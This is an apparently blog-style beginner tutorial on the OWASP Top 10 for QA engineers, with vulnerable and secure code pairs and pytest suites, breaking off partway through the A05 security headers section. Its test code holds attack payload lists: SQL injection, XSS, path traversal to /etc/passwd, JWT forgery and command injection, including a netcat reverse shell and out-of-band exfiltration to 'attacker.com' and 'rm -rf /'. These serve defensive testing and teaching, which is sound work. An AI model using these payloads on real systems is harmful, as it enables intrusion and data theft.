Article 10: OWASP Top 10 - Beginner-Friendly Deep Dive
OWASP Top 10: Beginner-Friendly Deep Dive
Learn web security from scratch — every vulnerability explained with simple analogies and hands-on examples
🎯 Who Is This Article For?
- ✅ Complete beginners in security testing
- ✅ QA Engineers adding security to their skillset
- ✅ Developers wanting to write more secure code
- ✅ Anyone preparing for security-related interviews
You don’t need any prior security experience! Every concept is explained from scratch.
📍 You Are Here:
[✓] Article 1: QA Fundamentals
[✓] Article 2: QA Practice
[✓] Article 3: DSA for QA
[✓] Article 4: Automation Frameworks
[✓] Article 5: CI/CD
[✓] Article 6: Test Design Techniques
[✓] Article 7: Performance Testing
[✓] Article 8: Landing Your Job at Apple
[✓] Article 9: Security Testing for QA
[→] Article 10: OWASP Top 10 Deep Dive
Progress: 100% + Bonus ✨
🏫 Before We Start: Security 101
What is a “Vulnerability”?
A vulnerability is simply a weakness in software that can be exploited. Think of it like:
🚪 A door that doesn't lock properly
🔑 A spare key hidden under the doormat
📝 A password written on a sticky note
What is OWASP?
OWASP = Open Web Application Security Project
It’s a free, open community that creates guides to help make software secure. Think of them as the “safety inspectors” for websites.
What is OWASP Top 10?
It’s a list of the 10 most dangerous security problems in web applications. Updated every few years based on real data.
Simple analogy: If websites were houses, OWASP Top 10 would be:
“The 10 Most Common Ways Burglars Break Into Houses”
🗺️ OWASP Top 10 at a Glance (2021 Edition)
Before diving deep, here’s a simple overview:
| # | Name | ELI5 (Explain Like I’m 5) | Danger Level |
|---|---|---|---|
| A01 | Broken Access Control | Looking at someone else’s diary | 🔴🔴🔴🔴🔴 |
| A02 | Cryptographic Failures | Secrets not kept secret | 🔴🔴🔴🔴 |
| A03 | Injection | Tricking the computer with sneaky input | 🔴🔴🔴🔴🔴 |
| A04 | Insecure Design | Building a house without locks | 🔴🔴🔴🔴 |
| A05 | Security Misconfiguration | Forgetting to close the window | 🔴🔴🔴 |
| A06 | Vulnerable Components | Using broken tools | 🔴🔴🔴 |
| A07 | Authentication Failures | Not checking IDs properly | 🔴🔴🔴🔴 |
| A08 | Integrity Failures | Trusting packages from strangers | 🔴🔴🔴 |
| A09 | Logging Failures | No security cameras | 🔴🔴 |
| A10 | SSRF | Making your server call bad numbers | 🔴🔴🔴 |
🎮 How to Practice (Safely & Legally!)
⚠️ IMPORTANT: Never test on websites you don’t own or have permission to test!
Safe Practice Environments
# 1. OWASP WebGoat - Interactive lessons
docker run -p 8080:8080 webgoat/webgoat
# Then open: http://localhost:8080/WebGoat
# 2. DVWA - Vulnerable practice app
docker run -d -p 80:80 vulnerables/web-dvwa
# Then open: http://localhost
# 3. Juice Shop - Modern vulnerable app
docker run -p 3000:3000 bkimminich/juice-shop
# Then open: http://localhost:3000
No Docker? Try these online:
- 🌐 PortSwigger Web Security Academy (FREE!)
- 🌐 TryHackMe (Beginner-friendly)
- 🌐 HackTheBox (More advanced)
What is OWASP?
OWASP (Open Web Application Security Project) is a nonprofit foundation that works to improve the security of software. The OWASP Top 10 is their flagship awareness document, updated every 3-4 years based on real-world data from hundreds of organizations.
Why OWASP Top 10 Matters
📊 Based on data from 500,000+ applications
🌍 Industry standard for web security
📋 Required knowledge for security certifications
💼 Expected in most QA/SDET job interviews
🔒 Foundation for security testing
OWASP Top 10 Evolution
| Year | Focus Areas |
|---|---|
| 2017 | Injection #1, XSS separate |
| 2021 | Broken Access Control #1, New categories added |
| 2024+ | Expected: API security, AI/ML security |
A01:2021 - Broken Access Control
🎯 Overview
Broken Access Control moved from #5 (2017) to #1 (2021). It occurs when users can act outside their intended permissions.
🏠 Simple Analogy: The Hotel
Imagine a hotel:
- You have a key card for Room 101
- Broken Access Control = Your card also opens Room 102, 103, and the Manager’s office!
NORMAL:
Your key 🔑 → Opens YOUR room ✅
BROKEN ACCESS CONTROL:
Your key 🔑 → Opens ANY room 😱
Your key 🔑 → Opens Manager's office 😱
Your key 🔑 → Opens safe with everyone's valuables 😱
🧪 Try It Yourself (Beginner Exercise)
Scenario: You’re logged in as User #123
- Look at the URL:
https://example.com/profile/123 - Change
123to124:https://example.com/profile/124 - If you see User 124’s profile → BUG FOUND! 🐛
This is called IDOR (Insecure Direct Object Reference).
Impact: Unauthorized access to data, privilege escalation, data theft, system takeover.
Real-World Examples
🔴 2019: Capital One Breach - 100M records exposed via SSRF/misconfigured WAF
🔴 2021: Parler Data Leak - Sequential IDs allowed scraping all posts
🔴 2022: T-Mobile API - Attackers accessed 37M customer records via API
Types of Access Control Vulnerabilities
1. Horizontal Privilege Escalation (IDOR)
User A accesses User B’s resources.
# VULNERABLE: No ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = Order.query.get(order_id)
return jsonify(order.to_dict()) # Anyone can access any order!
# SECURE: Verify ownership
@app.route('/api/orders/<order_id>')
@login_required
def get_order(order_id):
order = Order.query.get(order_id)
if order.user_id != current_user.id:
abort(403) # Forbidden
return jsonify(order.to_dict())
2. Vertical Privilege Escalation
Regular user gains admin privileges.
# VULNERABLE: Only checking if logged in
@app.route('/admin/users')
@login_required
def admin_users():
return User.query.all() # Any logged in user can access!
# SECURE: Check role
@app.route('/admin/users')
@login_required
@admin_required # Decorator checks role
def admin_users():
return User.query.all()
3. Missing Function Level Access Control
// Frontend hides admin button but...
// VULNERABLE: API has no access control
app.post('/api/delete-user/:id', (req, res) => {
User.delete(req.params.id); // No role check!
res.json({ success: true });
});
// SECURE: Always verify on backend
app.post('/api/delete-user/:id', authenticate, authorize('admin'), (req, res) => {
User.delete(req.params.id);
res.json({ success: true });
});
Complete Test Suite for Access Control
import pytest
from app import create_app, db
from models import User, Order
class TestAccessControl:
"""Comprehensive access control test suite"""
@pytest.fixture
def setup(self):
"""Create test users with different roles"""
self.admin = User(username='admin', role='admin')
self.user1 = User(username='user1', role='user')
self.user2 = User(username='user2', role='user')
self.order1 = Order(user=self.user1, amount=100)
self.order2 = Order(user=self.user2, amount=200)
db.session.add_all([self.admin, self.user1, self.user2,
self.order1, self.order2])
db.session.commit()
# ========== IDOR Tests ==========
def test_idor_order_access(self, client, setup):
"""User should not access another user's order"""
# Login as user1
client.post('/login', data={'username': 'user1', 'password': 'pass'})
# Access own order - should succeed
response = client.get(f'/api/orders/{self.order1.id}')
assert response.status_code == 200
# Access user2's order - should fail
response = client.get(f'/api/orders/{self.order2.id}')
assert response.status_code == 403
def test_idor_profile_modification(self, client, setup):
"""User should not modify another user's profile"""
client.post('/login', data={'username': 'user1', 'password': 'pass'})
# Try to modify user2's profile
response = client.put(f'/api/users/{self.user2.id}',
json={'email': 'hacked@evil.com'})
assert response.status_code == 403
# Verify email unchanged
user2 = User.query.get(self.user2.id)
assert user2.email != 'hacked@evil.com'
def test_idor_with_uuid(self, client, setup):
"""Test IDOR even with UUID (not sequential IDs)"""
# UUIDs are harder to guess but still vulnerable
response = client.get(f'/api/documents/{self.doc_uuid}')
# Should still check ownership!
# ========== Vertical Escalation Tests ==========
def test_regular_user_cannot_access_admin_panel(self, client, setup):
"""Regular user should not access admin endpoints"""
client.post('/login', data={'username': 'user1', 'password': 'pass'})
admin_endpoints = [
'/admin/dashboard',
'/admin/users',
'/admin/settings',
'/api/admin/reports',
'/api/admin/logs',
]
for endpoint in admin_endpoints:
response = client.get(endpoint)
assert response.status_code in [401, 403], \
f"User accessed admin endpoint: {endpoint}"
def test_cannot_elevate_own_role(self, client, setup):
"""User should not be able to change their own role"""
client.post('/login', data={'username': 'user1', 'password': 'pass'})
# Try to make self admin via API
response = client.put(f'/api/users/{self.user1.id}',
json={'role': 'admin'})
# Verify role unchanged
user1 = User.query.get(self.user1.id)
assert user1.role == 'user'
# ========== Path Traversal Tests ==========
def test_path_traversal_in_file_access(self, client, setup):
"""Test path traversal attacks"""
payloads = [
'../../../etc/passwd',
'..\\..\\..\\windows\\system32\\config\\sam',
'....//....//....//etc/passwd',
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd',
'..%252f..%252f..%252fetc/passwd',
]
for payload in payloads:
response = client.get(f'/api/files/{payload}')
assert response.status_code in [400, 403, 404]
assert 'root:' not in response.text # Unix password file
# ========== HTTP Method Tests ==========
def test_http_method_bypass(self, client, setup):
"""Test if changing HTTP method bypasses access control"""
client.post('/login', data={'username': 'user1', 'password': 'pass'})
# DELETE might be protected, but what about other methods?
methods = ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS', 'HEAD']
for method in methods:
response = client.open(f'/api/users/{self.user2.id}',
method=method)
if method not in ['GET', 'OPTIONS', 'HEAD']:
assert response.status_code == 403
# ========== JWT/Token Tests ==========
def test_jwt_role_manipulation(self, client, setup):
"""Test if JWT token role can be manipulated"""
# Login and get token
response = client.post('/login',
data={'username': 'user1', 'password': 'pass'})
token = response.json['token']
# Decode JWT (without verification)
import jwt
payload = jwt.decode(token, options={"verify_signature": False})
# Modify role and re-encode (attacker would do this)
payload['role'] = 'admin'
fake_token = jwt.encode(payload, 'guessed_secret', algorithm='HS256')
# Try to use modified token
response = client.get('/admin/users',
headers={'Authorization': f'Bearer {fake_token}'})
assert response.status_code == 401 # Should reject invalid signature
def test_jwt_algorithm_none(self, client, setup):
"""Test JWT algorithm 'none' vulnerability"""
import jwt
# Create token with algorithm none
payload = {'user_id': self.user1.id, 'role': 'admin'}
fake_token = jwt.encode(payload, None, algorithm='none')
response = client.get('/admin/users',
headers={'Authorization': f'Bearer {fake_token}'})
assert response.status_code == 401
Access Control Testing Checklist
## IDOR Testing
- [ ] Test with sequential numeric IDs
- [ ] Test with UUIDs (still need ownership check!)
- [ ] Test nested resources (/users/1/orders/2)
- [ ] Test bulk operations (/api/orders?ids=1,2,3)
- [ ] Test search/filter endpoints
## Privilege Escalation
- [ ] Access admin URLs as regular user
- [ ] Modify user role via API
- [ ] Access other users' resources
- [ ] Change HTTP methods (GET→POST→DELETE)
## Authentication Bypass
- [ ] Access protected pages without login
- [ ] Use expired/invalid tokens
- [ ] Test JWT manipulation
- [ ] Test session fixation
## Path Traversal
- [ ] Test ../ sequences
- [ ] Test URL encoding variants
- [ ] Test null bytes (%00)
- [ ] Test OS-specific paths
A02:2021 - Cryptographic Failures
🎯 Overview
Previously called “Sensitive Data Exposure”. Focuses on failures related to cryptography that lead to exposure of sensitive data.
Impact: Data breaches, identity theft, compliance violations (GDPR, PCI-DSS).
Real-World Examples
🔴 2013: Adobe Breach - 153M passwords with weak encryption (3DES)
🔴 2016: LinkedIn - 117M passwords using unsalted SHA-1
🔴 2019: Facebook - 600M passwords stored in plain text
Types of Cryptographic Failures
1. Data in Transit
# VULNERABLE: HTTP without TLS
requests.post('http://api.example.com/login',
data={'password': 'secret123'})
# SECURE: HTTPS with certificate verification
requests.post('https://api.example.com/login',
data={'password': 'secret123'},
verify=True) # Verify SSL certificate
2. Data at Rest
# VULNERABLE: Plain text password storage
def create_user(username, password):
user = User(username=username, password=password) # Plain text!
db.save(user)
# VULNERABLE: Weak hashing (MD5, SHA-1)
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
# SECURE: Use bcrypt with salt
from bcrypt import hashpw, gensalt, checkpw
def create_user(username, password):
hashed = hashpw(password.encode(), gensalt(rounds=12))
user = User(username=username, password_hash=hashed)
db.save(user)
def verify_password(password, password_hash):
return checkpw(password.encode(), password_hash)
3. Key Management
# VULNERABLE: Hardcoded secrets
API_KEY = "sk_live_abc123xyz" # In source code!
JWT_SECRET = "supersecret"
# SECURE: Environment variables
import os
API_KEY = os.environ.get('API_KEY')
JWT_SECRET = os.environ.get('JWT_SECRET')
# Even better: Use secrets manager
from aws_secretsmanager import get_secret
API_KEY = get_secret('production/api_key')
Complete Cryptographic Test Suite
import ssl
import socket
import requests
from cryptography.hazmat.primitives import hashes
class TestCryptography:
"""Test suite for cryptographic security"""
# ========== HTTPS/TLS Tests ==========
def test_https_enforced(self):
"""All endpoints should redirect HTTP to HTTPS"""
response = requests.get('http://example.com', allow_redirects=False)
assert response.status_code == 301
assert response.headers['Location'].startswith('https://')
def test_hsts_header(self):
"""HSTS header should be present"""
response = requests.get('https://example.com')
hsts = response.headers.get('Strict-Transport-Security')
assert hsts is not None
assert 'max-age=31536000' in hsts # At least 1 year
assert 'includeSubDomains' in hsts
def test_tls_version(self):
"""Only TLS 1.2+ should be supported"""
hostname = 'example.com'
# Test TLS 1.0 (should fail)
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
with pytest.raises(ssl.SSLError):
with socket.create_connection((hostname, 443)) as sock:
with context.wrap_socket(sock, server_hostname=hostname):
pass
# Test TLS 1.2 (should succeed)
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
with socket.create_connection((hostname, 443)) as sock:
with context.wrap_socket(sock, server_hostname=hostname) as ssock:
assert ssock.version() in ['TLSv1.2', 'TLSv1.3']
def test_no_weak_ciphers(self):
"""Weak ciphers should be disabled"""
import subprocess
result = subprocess.run(
['nmap', '--script', 'ssl-enum-ciphers', '-p', '443', 'example.com'],
capture_output=True, text=True
)
weak_ciphers = ['DES', 'RC4', 'MD5', 'NULL', 'EXPORT', 'anon']
for cipher in weak_ciphers:
assert cipher not in result.stdout
# ========== Password Storage Tests ==========
def test_password_not_in_response(self):
"""Password should never appear in API responses"""
response = requests.get('/api/users/1')
user_data = response.json()
forbidden_fields = ['password', 'password_hash', 'pwd', 'secret']
for field in forbidden_fields:
assert field not in user_data
def test_password_not_in_logs(self):
"""Passwords should not be logged"""
# Make login request
requests.post('/login', data={'username': 'test', 'password': 'secret123'})
# Check application logs
with open('/var/log/app/access.log') as f:
log_content = f.read()
assert 'secret123' not in log_content
def test_password_hashing_strength(self):
"""Verify strong password hashing is used"""
import bcrypt
# Get password hash from database (test environment)
user = User.query.get(1)
password_hash = user.password_hash
# Bcrypt hashes start with $2b$ or $2a$
assert password_hash.startswith(b'$2')
# Check work factor (should be >= 10)
work_factor = int(password_hash.split(b'$')[2])
assert work_factor >= 10
# ========== Sensitive Data Exposure Tests ==========
def test_no_sensitive_data_in_url(self):
"""Sensitive data should not appear in URLs"""
# Check access logs for sensitive patterns
sensitive_patterns = [
r'password=',
r'token=',
r'api_key=',
r'secret=',
r'ssn=\d{3}-\d{2}-\d{4}',
r'credit_card=\d{16}',
]
with open('/var/log/nginx/access.log') as f:
for line in f:
for pattern in sensitive_patterns:
assert not re.search(pattern, line, re.IGNORECASE)
def test_error_messages_no_sensitive_info(self):
"""Error messages should not expose sensitive information"""
# Trigger various errors
error_responses = [
requests.get('/api/users/invalid'),
requests.post('/login', data={'username': "'; DROP TABLE--"}),
requests.get('/api/internal/debug'),
]
for response in error_responses:
text = response.text.lower()
# Should not expose:
assert 'stack trace' not in text
assert 'sql' not in text
assert 'database' not in text
assert 'password' not in text
assert '/var/' not in text
assert 'c:\\' not in text
# ========== Cookie Security Tests ==========
def test_cookie_security_flags(self):
"""Session cookies should have security flags"""
response = requests.post('/login',
data={'username': 'test', 'password': 'pass'})
session_cookie = response.cookies.get('session')
# Check Secure flag (HTTPS only)
assert session_cookie.secure == True
# Check HttpOnly flag (not accessible via JavaScript)
assert session_cookie.has_nonstandard_attr('HttpOnly')
# Check SameSite attribute
assert session_cookie.get_nonstandard_attr('SameSite') in ['Strict', 'Lax']
Cryptographic Security Checklist
## Data in Transit
- [ ] HTTPS everywhere (no HTTP)
- [ ] HSTS header enabled
- [ ] TLS 1.2+ only (disable TLS 1.0/1.1)
- [ ] Strong cipher suites
- [ ] Valid SSL certificate
## Data at Rest
- [ ] Passwords hashed with bcrypt/Argon2
- [ ] Work factor >= 10
- [ ] Sensitive data encrypted (AES-256)
- [ ] Encryption keys properly managed
## Key Management
- [ ] No hardcoded secrets
- [ ] Secrets in environment variables
- [ ] Key rotation policy
- [ ] Secrets manager in production
## Sensitive Data Handling
- [ ] No sensitive data in URLs
- [ ] No sensitive data in logs
- [ ] No sensitive data in error messages
- [ ] Secure cookie flags set
A03:2021 - Injection
🎯 Overview
Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query.
Impact: Data theft, data corruption, denial of service, complete system compromise.
Types of Injection Attacks
┌─────────────────────────────────────────────────────────┐
│ INJECTION TYPES │
├─────────────────────────────────────────────────────────┤
│ SQL Injection │ Database queries │
│ NoSQL Injection │ MongoDB, CouchDB queries │
│ OS Command │ Shell commands │
│ LDAP Injection │ Directory services │
│ XPath Injection │ XML queries │
│ Template Injection │ Server-side templates (SSTI) │
│ Header Injection │ HTTP headers │
│ Log Injection │ Application logs │
└─────────────────────────────────────────────────────────┘
SQL Injection Deep Dive
Types of SQL Injection
-- 1. UNION-based (extract data)
' UNION SELECT username, password FROM users--
-- 2. Error-based (extract via errors)
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--
-- 3. Blind Boolean-based
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'--
-- 4. Blind Time-based
' AND IF(1=1, SLEEP(5), 0)--
-- 5. Out-of-band (DNS/HTTP exfiltration)
'; EXEC xp_dirtree '//attacker.com/share'--
SQL Injection Test Payloads
SQL_INJECTION_PAYLOADS = [
# Authentication bypass
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1'/*",
"admin'--",
"admin'/*",
"') OR ('1'='1",
# UNION attacks
"' UNION SELECT NULL--",
"' UNION SELECT NULL,NULL--",
"' UNION SELECT username,password FROM users--",
# Error-based
"' AND 1=CONVERT(int,@@version)--",
"' AND extractvalue(1,concat(0x7e,version()))--",
# Time-based blind
"' AND SLEEP(5)--",
"'; WAITFOR DELAY '0:0:5'--",
"' AND (SELECT SLEEP(5) FROM dual WHERE 1=1)--",
# Stacked queries
"'; DROP TABLE users;--",
"'; INSERT INTO users VALUES('hacker','pass');--",
# Comment variations
"admin'--",
"admin'#",
"admin'/*",
]
def test_sql_injection(client, endpoints):
"""Test all input fields for SQL injection"""
for endpoint in endpoints:
for payload in SQL_INJECTION_PAYLOADS:
response = client.post(endpoint, data={'input': payload})
# Check for SQL error messages
error_indicators = [
'sql syntax',
'mysql',
'postgresql',
'sqlite',
'oracle',
'microsoft sql',
'unclosed quotation',
'quoted string not properly terminated',
]
for indicator in error_indicators:
assert indicator not in response.text.lower(), \
f"SQL injection possible at {endpoint} with payload: {payload}"
Cross-Site Scripting (XSS) Deep Dive
Types of XSS
┌────────────────────────────────────────────────────────┐
│ XSS TYPES │
├────────────────────────────────────────────────────────┤
│ Stored XSS │ Script saved in database │
│ │ Executes when page loads │
│ │ Example: Forum post, profile bio │
├────────────────────────────────────────────────────────┤
│ Reflected XSS │ Script in URL/request │
│ │ Reflected back in response │
│ │ Example: Search results, error msg │
├────────────────────────────────────────────────────────┤
│ DOM XSS │ Script manipulates DOM directly │
│ │ No server involvement │
│ │ Example: document.write(location) │
└────────────────────────────────────────────────────────┘
XSS Test Payloads
XSS_PAYLOADS = [
# Basic script tags
"<script>alert('XSS')</script>",
"<script>alert(document.cookie)</script>",
"<script>alert(String.fromCharCode(88,83,83))</script>",
# Event handlers
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"<body onload=alert('XSS')>",
"<input onfocus=alert('XSS') autofocus>",
"<marquee onstart=alert('XSS')>",
"<video><source onerror=alert('XSS')>",
# JavaScript URLs
"<a href='javascript:alert(1)'>click</a>",
"<iframe src='javascript:alert(1)'>",
# Bypass attempts
"<ScRiPt>alert('XSS')</ScRiPt>", # Case variation
"<scr<script>ipt>alert('XSS')</script>", # Nested
"<script>alert`XSS`</script>", # Template literals
"<<script>alert('XSS');//<</script>",
# Encoding bypass
"<img src=x onerror=alert(1)>", # HTML entities
"<script>eval(atob('YWxlcnQoMSk='))</script>", # Base64
# DOM-based
"<img src=x onerror=eval(location.hash.slice(1))>",
# SVG-based
"<svg><script>alert('XSS')</script></svg>",
"<svg><animate onbegin=alert('XSS')>",
]
def test_xss_prevention(client, endpoints):
"""Test all input fields for XSS vulnerabilities"""
for endpoint in endpoints:
for payload in XSS_PAYLOADS:
# Test via POST
response = client.post(endpoint, data={'input': payload})
# Payload should be escaped, not raw
assert payload not in response.text, \
f"Possible XSS at {endpoint}: payload reflected raw"
# Check for proper encoding
encoded = html.escape(payload)
# Either encoded or completely removed is acceptable
Command Injection
# VULNERABLE
import os
def ping(host):
os.system(f"ping -c 4 {host}") # User input directly in command!
# Attack: ping("8.8.8.8; rm -rf /")
# SECURE: Use subprocess with list
import subprocess
def ping(host):
# Validate input
if not re.match(r'^[\w.-]+$', host):
raise ValueError("Invalid hostname")
subprocess.run(['ping', '-c', '4', host], check=True)
# Command injection payloads
COMMAND_INJECTION_PAYLOADS = [
"; ls -la",
"| cat /etc/passwd",
"& whoami",
"`id`",
"$(cat /etc/passwd)",
"\n cat /etc/passwd",
"|| ping -c 10 attacker.com",
"; nc attacker.com 4444 -e /bin/sh",
]
Complete Injection Test Suite
class TestInjection:
"""Comprehensive injection vulnerability tests"""
def test_sql_injection_login(self, client):
"""Test login form for SQL injection"""
for payload in SQL_INJECTION_PAYLOADS:
response = client.post('/login', data={
'username': payload,
'password': 'anything'
})
# Should not authenticate
assert 'Welcome' not in response.text
assert 'Dashboard' not in response.text
def test_sql_injection_search(self, client):
"""Test search functionality for SQL injection"""
for payload in SQL_INJECTION_PAYLOADS:
response = client.get(f'/search?q={payload}')
# Should not show SQL errors
assert 'error' not in response.text.lower()
assert 'syntax' not in response.text.lower()
def test_stored_xss(self, client):
"""Test for stored XSS in user-generated content"""
# Login
client.post('/login', data={'username': 'test', 'password': 'pass'})
for payload in XSS_PAYLOADS:
# Submit XSS payload
client.post('/profile/update', data={'bio': payload})
# View profile
response = client.get('/profile')
# Payload should be escaped
assert '<script>' not in response.text
assert 'onerror=' not in response.text
def test_reflected_xss(self, client):
"""Test for reflected XSS in URL parameters"""
for payload in XSS_PAYLOADS:
response = client.get(f'/search?q={payload}')
assert payload not in response.text
def test_command_injection(self, client):
"""Test for command injection vulnerabilities"""
for payload in COMMAND_INJECTION_PAYLOADS:
response = client.post('/tools/ping', data={'host': payload})
# Should not execute commands
assert 'root:' not in response.text # /etc/passwd content
assert 'uid=' not in response.text # id command output
def test_ldap_injection(self, client):
"""Test for LDAP injection"""
ldap_payloads = [
"*",
"*)(&",
"*)(uid=*))(|(uid=*",
"admin)(&)",
"x])(|(cn=*",
]
for payload in ldap_payloads:
response = client.post('/ldap/search', data={'username': payload})
assert response.status_code != 500
# Should not return all users
users = response.json().get('users', [])
assert len(users) <= 1
def test_nosql_injection(self, client):
"""Test for NoSQL injection (MongoDB)"""
nosql_payloads = [
{"$gt": ""},
{"$ne": ""},
{"$regex": ".*"},
{"$where": "1==1"},
]
for payload in nosql_payloads:
response = client.post('/api/users/find', json={
'username': payload
})
# Should not return all users or bypass auth
assert response.status_code in [400, 401]
def test_template_injection(self, client):
"""Test for Server-Side Template Injection (SSTI)"""
ssti_payloads = [
"{{7*7}}", # Jinja2
"${7*7}", # FreeMarker
"<%=7*7%>", # ERB
"#{7*7}", # Ruby
"{{constructor.constructor('return 7*7')()}}",
]
for payload in ssti_payloads:
response = client.post('/render', data={'template': payload})
# Should not evaluate expression
assert '49' not in response.text
A04:2021 - Insecure Design
🎯 Overview
NEW in 2021. Focuses on design flaws rather than implementation bugs. These are fundamental architecture issues that can’t be fixed with better code alone.
Impact: Business logic flaws, security control bypass, fraud, data loss.
Real-World Examples
🔴 2020: Twitter - "Account Recovery" allowed SIM swap attacks
🔴 2021: Clubhouse - No rate limiting on invite codes
🔴 2022: Crypto Exchange - Negative balance exploit (design flaw)
Insecure Design Patterns
1. Missing Rate Limiting
# INSECURE DESIGN: No rate limiting on password reset
@app.route('/reset-password', methods=['POST'])
def reset_password():
email = request.form['email']
send_reset_email(email) # Can be called unlimited times!
return "Reset email sent"
# SECURE DESIGN: Rate limiting + verification
from flask_limiter import Limiter
limiter = Limiter(app, key_func=get_remote_address)
@app.route('/reset-password', methods=['POST'])
@limiter.limit("3 per hour") # Max 3 requests per hour per IP
def reset_password():
email = request.form['email']
# Verify email exists (but don't reveal if it does)
if User.query.filter_by(email=email).first():
send_reset_email(email)
# Always return same response (prevent enumeration)
return "If the email exists, a reset link has been sent"
2. Missing Transaction Verification
# INSECURE DESIGN: Trust client-side price
@app.route('/checkout', methods=['POST'])
def checkout():
item_id = request.form['item_id']
price = request.form['price'] # Client sends price!
process_payment(price)
# SECURE DESIGN: Always verify on server
@app.route('/checkout', methods=['POST'])
def checkout():
item_id = request.form['item_id']
item = Item.query.get(item_id)
# Use server-side price
price = item.price
# Apply discounts server-side
if current_user.has_coupon:
price = apply_coupon(price, current_user.coupon)
process_payment(price)
3. Inadequate Business Logic Validation
# INSECURE: Transfer money without proper validation
@app.route('/transfer', methods=['POST'])
def transfer():
from_account = request.form['from']
to_account = request.form['to']
amount = float(request.form['amount'])
# Missing: Check if user owns from_account
# Missing: Check for sufficient balance
# Missing: Check for negative amounts
# Missing: Check daily limits
Account.transfer(from_account, to_account, amount)
# SECURE: Comprehensive validation
@app.route('/transfer', methods=['POST'])
@login_required
def transfer():
from_account = Account.query.get(request.form['from'])
to_account = Account.query.get(request.form['to'])
amount = Decimal(request.form['amount'])
# Validate ownership
if from_account.owner_id != current_user.id:
abort(403, "Not your account")
# Validate amount
if amount <= 0:
abort(400, "Amount must be positive")
if amount > from_account.balance:
abort(400, "Insufficient funds")
# Check daily limits
today_total = get_today_transfers(from_account)
if today_total + amount > from_account.daily_limit:
abort(400, "Daily limit exceeded")
# Require 2FA for large amounts
if amount > 10000 and not verify_2fa(request.form['2fa_code']):
abort(403, "2FA required for large transfers")
Account.transfer(from_account, to_account, amount)
Insecure Design Test Suite
class TestInsecureDesign:
"""Test for insecure design vulnerabilities"""
def test_rate_limiting_login(self, client):
"""Brute force protection should exist"""
for i in range(20):
response = client.post('/login', data={
'username': 'admin',
'password': f'wrong{i}'
})
# Should be rate limited or locked
response = client.post('/login', data={
'username': 'admin',
'password': 'correct'
})
assert response.status_code == 429 or \
'locked' in response.text.lower()
def test_rate_limiting_password_reset(self, client):
"""Password reset should have rate limiting"""
for i in range(10):
response = client.post('/reset-password',
data={'email': 'test@test.com'})
# Should be rate limited
assert response.status_code == 429
def test_price_manipulation(self, client):
"""Server should verify prices, not trust client"""
# Login
client.post('/login', data={'username': 'test', 'password': 'pass'})
# Try to manipulate price
response = client.post('/checkout', data={
'item_id': 1,
'price': '0.01', # Manipulated price
'quantity': 1
})
# Order should use server-side price
order = Order.query.order_by(Order.id.desc()).first()
item = Item.query.get(1)
assert order.total == item.price # Not $0.01
def test_negative_quantity(self, client):
"""Negative quantities should be rejected"""
response = client.post('/cart/add', data={
'item_id': 1,
'quantity': -5 # Negative quantity
})
assert response.status_code == 400
def test_race_condition_coupon(self, client):
"""Coupon should only be usable once"""
import threading
results = []
def use_coupon():
response = client.post('/apply-coupon',
data={'code': 'SINGLE_USE'})
results.append(response.status_code)
# Try to use same coupon simultaneously
threads = [threading.Thread(target=use_coupon) for _ in range(10)]
for t in threads:
t.start()
for t in threads:
t.join()
# Only one should succeed
success_count = results.count(200)
assert success_count == 1
def test_user_enumeration(self, client):
"""Login/reset should not reveal valid usernames"""
# Test with valid user
response1 = client.post('/login', data={
'username': 'existing_user',
'password': 'wrong'
})
# Test with invalid user
response2 = client.post('/login', data={
'username': 'nonexistent_user',
'password': 'wrong'
})
# Responses should be identical
assert response1.text == response2.text
assert response1.status_code == response2.status_code
def test_insufficient_anti_automation(self, client):
"""Critical actions should have anti-automation"""
# Check for CAPTCHA on registration
response = client.get('/register')
assert 'captcha' in response.text.lower() or \
'recaptcha' in response.text.lower()
A05:2021 - Security Misconfiguration
🎯 Overview
Security misconfiguration is when security settings are defined, implemented, or maintained incorrectly.
Impact: Information disclosure, system compromise, default credential exploitation.
Common Misconfigurations
┌────────────────────────────────────────────────────────┐
│ SECURITY MISCONFIGURATIONS │
├────────────────────────────────────────────────────────┤
│ Default credentials │ admin/admin, root/root │
│ Unnecessary features │ Debug mode, sample apps │
│ Verbose error messages │ Stack traces, SQL errors │
│ Missing security headers │ CSP, HSTS, X-Frame │
│ Open cloud storage │ S3 buckets, Azure blobs │
│ Exposed admin panels │ /admin, /phpmyadmin │
│ Directory listing │ /uploads/, /.git/ │
│ Unnecessary HTTP methods │ PUT, DELETE, TRACE │
└────────────────────────────────────────────────────────┘
Security Headers Reference
# Essential Security Headers
# 1. Strict-Transport-Security (HSTS)
# Forces HTTPS for specified duration
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# 2. Content-Security-Policy (CSP)
# Controls resource loading
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'
# 3. X-Content-Type-Options
# Prevents MIME sniffing
X-Content-Type-Options: nosniff
# 4. X-Frame-Options
# Prevents clickjacking
X-Frame-Options: DENY
# 5. X-XSS-Protection
# Legacy XSS filter (for older browsers)
X-XSS-Protection: 1; mode=block
# 6. Referrer-Policy
# Controls referrer information
Referrer-Policy: strict-origin-when-cross-origin
# 7. Permissions-Policy (formerly Feature-Policy)
# Controls browser features
Permissions-Policy: geolocation=(), microphone=(), camera=()
# 8. Cross-Origin Policies
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Security Misconfiguration Test Suite
class TestSecurityMisconfiguration:
"""Test for security misconfigurations"""
# ========== Security Headers ==========
def test_security_headers(self, client):
"""All required security headers should be present"""
response = client.get('/')
headers = response.headers
required_headers = {
'Strict-Transport-Security': lambda v: 'max-age=' in v,
'X-Content-Type-Options': lambda v: v == 'nosniff',
'X-Frame-Options': lambda v: v in ['DENY', 'SAMEORIGIN'],
'Content-Security-Policy': lambda v: "default-src" in v,
